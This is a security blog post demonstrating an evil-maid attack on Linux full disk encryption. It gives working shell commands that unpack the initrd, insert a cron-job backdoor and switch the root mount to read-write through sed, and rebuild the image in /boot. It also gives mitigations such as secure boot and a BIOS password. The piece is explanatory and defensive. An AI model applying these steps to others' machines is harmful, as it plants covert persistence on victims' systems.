Featured image

Your Linux full disk encryption is useless

So you’re running Linux with full disk encryption (luks). You feel safe because nobody can access your data. The thing is, if I can modify your boot partition, you’re screwed. Not only can I log your password, but I can also simply deploy a backoor. To show you how easy it is, I will show you my “exploit”:

cp /boot/initrd.img-5.15.0-86-generic .
unmkinitramfs initrd.img-5.15.0-86-generic extracted/
cd extracted/main
sed -i 's/readonly=y/readonly=n/' init
sed -i '364 i echo '\''* * * * * root echo $(date) >> /tmp/hackhack'\'' > "${rootmnt}/etc/cron.d/hackhack"' init
find . | cpio -o -H newc > /boot/initrd.img-5.15.0-86-generic

How the “exploit” works

  1. I take your laptop and boot into my live system
  2. I mount the boot partition and extract the initrd (unmkinitramfs initrd.img-5.15.0-86-generic extracted/)
  3. I add a backdoor and modify the init script (sed adds a line (a cronjob) at line 364)
  4. I rebuild the initrd and overwrite the original one in /boot

Some background information

When you boot, the kernel is loaded and executed. It then extracts and mounts the initrd. The initrd is a small filesystem. At this point during boot, the initrd has two tasks:

  1. mount the disk where / is located (in this case: also decrypt the disk)
  2. run the init system

The init script is run automatically. If we look at the end of the file, we can see that it it is running the init system:

root@lm21vgtvb:~/hackhack/extracted/main# tail init

exec run-init ${drop_caps} "${rootmnt}" "${init}" "$@" <"${rootmnt}/dev/console" >"${rootmnt}/dev/console" 2>&1
echo "Something went badly wrong in the initramfs."
panic "Please file a bug on initramfs-tools."

At this point ${rootmnt} holds the mountpoint of /. Our sed-insert adds a line just before the init system is executed (look at the image at the top of the page). To modify the filesystem, we need to add the rw kernel parameter or overwrite the init script as we do (sed -i 's/readonly=y/readonly=n/' init). Then we rebuild and overwrite the original initrd. After the next reboot, our backdoor will be placed in /etc/cron.d/hackhack. If the user updates the system our backdoored initrd will be overwritten. But our malicious cronjob persists.

But my boot partition is encrypted

This makes the whole thing more difficult to implement, but the problem remains. Depending on your system, you’ll need to patch an earlier stage of grub: core.img if you’re booting in BIOS mode, or grubx64.efi if you are using UFEI boot.

How to be safe(r)

  • Use secure boot or authenticated boot
  • Add a BIOS password to prevent strangers from booting an external drive or changing BIOS settings

Some debugging tips

  • there is lsinitramfs, unmkinitramfs and mkinitramfs in initramfs-tools-core
  • to get debug output during boot remove quiet boot parameter
    • in /etc/default/grub (GRUB_CMDLINE_LINUX_DEFAULT) and run update-grub
    • you can also press e during boot and edit the kernel parameters (GRUB_TIMEOUT=5 and comment GRUB_TIMEOUT_STYLE=hidden)
  • add debug kernel parameter to get persistent log output from initrd (written to /run/initramfs/initramfs.debug, you will find your echos there)
  • I’m using Linux Mint and in this case my initrd consists of three concatenated cpio archives (with microkernel update). That’s why I switch to extracted/main instead of extracted.
  • Write your backdoored initrd to /boot/hacked.initrd. During boot, ajdust the the initrd parameter.

Further reads

TL;DR: Linux has been supporting Full Disk Encryption (FDE) and technologies such as UEFI SecureBoot and TPMs for a long time. However, the way they are set up by most distributions is not as secure as they should be, and in some ways quite frankly weird. In fact, right now, your data is probably more secure if stored on current ChromeOS, Android, Windows or MacOS devices, than it is on typical Linux distributions.